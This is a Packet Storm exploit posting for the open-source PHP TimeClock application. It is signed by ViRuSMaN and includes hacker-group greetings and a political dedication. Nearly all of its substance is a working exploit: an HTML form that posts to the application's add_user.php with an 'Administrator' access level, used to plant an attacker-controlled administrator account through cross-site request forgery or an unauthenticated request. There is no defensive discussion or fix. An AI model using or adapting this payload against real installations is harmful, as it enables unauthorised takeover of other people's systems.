TimeClock cross site request forgery add administrator exploit.
932c15b3c8ccd8c98777f4ec4b00c83849bcb01e88189a228e34ba90ff55b39f
==============================================================================
[»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
[»] TimeClock Remote Add Admin Exploit
==============================================================================
[»] Script: [ TimeClock ]
[»] Language: [ PHP ]
[»] Site page: [ timeclock-software is a free open-source application released under the GP. ]
[»] Download: [ http://www.hormiga.org/zonamac/descargas/timeclock-software.zip ]
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & Pentestlabs.Com ]
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]
###########################################################################
===[ Exploit ]===
<html>
<head>
<title>TimeClock Remote Add Admin Exploit[By:MvM]</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form method="post" action="http://localhost/scripts/add_user.php">
<table border="1">
<tr>
<td align="center"><b>Adding User</b></td>
</tr>
<tr>
<td>
<table>
<tr>
<td align="right">First Name: </td><td align="left"><input type="text" name="fname" size="30"></td>
</tr>
<tr>
<td align="right">Last Name: </td><td align="left"><input type="text" name="lname" size="30"></td>
</tr>
<tr>
<td align="right">Access Level: </td>
<td>
<select name="access_level">
<option value="Administrator">Administrator</option>
<option value="User">User</option>
</select>
</td>
</tr>
<tr>
<td align="right">Username: </td><td align="left"><input type="text" name="u_name" size="30"></td>
</tr>
<tr>
<td align="right">Password: </td><td align="left"><input type="text" name="user_password" size="30"></td>
</tr>
<tr>
<td> </td><td><input type="submit" name="submit" value="Add" class="button"> <input type="submit" name="cancel" value="Cancel" class="button"></td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>
Author: ViRuSMaN <-
###########################################################################
________________________________
Hotmail: Powerful Free email with security by Microsoft. Get it now.<https://signup.live.com/signup.aspx?id=60969>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed